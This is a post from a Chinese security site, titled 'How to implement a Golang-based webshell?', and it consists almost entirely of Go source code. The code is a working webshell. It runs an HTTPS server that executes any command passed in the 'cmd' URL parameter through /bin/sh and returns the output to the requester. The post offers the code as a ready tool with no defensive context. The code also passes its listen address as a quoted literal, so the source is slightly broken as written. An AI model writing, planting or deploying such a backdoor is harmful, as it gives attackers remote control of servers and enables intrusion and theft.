如何实现一个基于 Golang 的 webshell?

admin 2024年1月5日22:47:35如何实现一个基于 Golang 的 webshell?已关闭评论34 views字数 1104阅读3分40秒阅读模式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package main

import (
"fmt"
"log"
"net/http"
"os"
"os/exec"
)

var shell = "/bin/sh"
var shellArg = "-c"

func main() {
if len(os.Args) != 2 {
fmt.Printf("Usage: %s <listenAddress>\n", os.Args[0])
fmt.Printf("Example: %s localhost:8080\n", os.Args[0])
os.Exit(1)
}

http.HandleFunc("/", requestHandler)
log.Println("Listening for HTTPS requests.")
err := http.ListenAndServeTLS(
"os.Args[1]",
"cert.pem",
"privateKey.pem",
nil,
)
if err != nil {
log.Fatal("Error creating server. ", err)
}
}

func requestHandler(writer http.ResponseWriter, request *http.Request) {
// Get command to execute from GET query parameters
cmd := request.URL.Query().Get("cmd")
if cmd == "" {
fmt.Fprintln(
writer,
"No command provided. Example: /?cmd=whoami")
return
}

log.Printf("Request from %s: %s\n", request.RemoteAddr, cmd)
fmt.Fprintf(writer, "You requested command: %s\n", cmd)

// Run the command
command := exec.Command(shell, shellArg, cmd)
output, err := command.Output()
if err != nil {
fmt.Fprintf(writer, "Error with command.\n%s\n", err.Error())
}

// Write output of command to the response writer interface
fmt.Fprintf(writer, "Output: \n%s\n", output)
}

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月5日22:47:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何实现一个基于 Golang 的 webshell?http://cn-sec.com/archives/2369675.html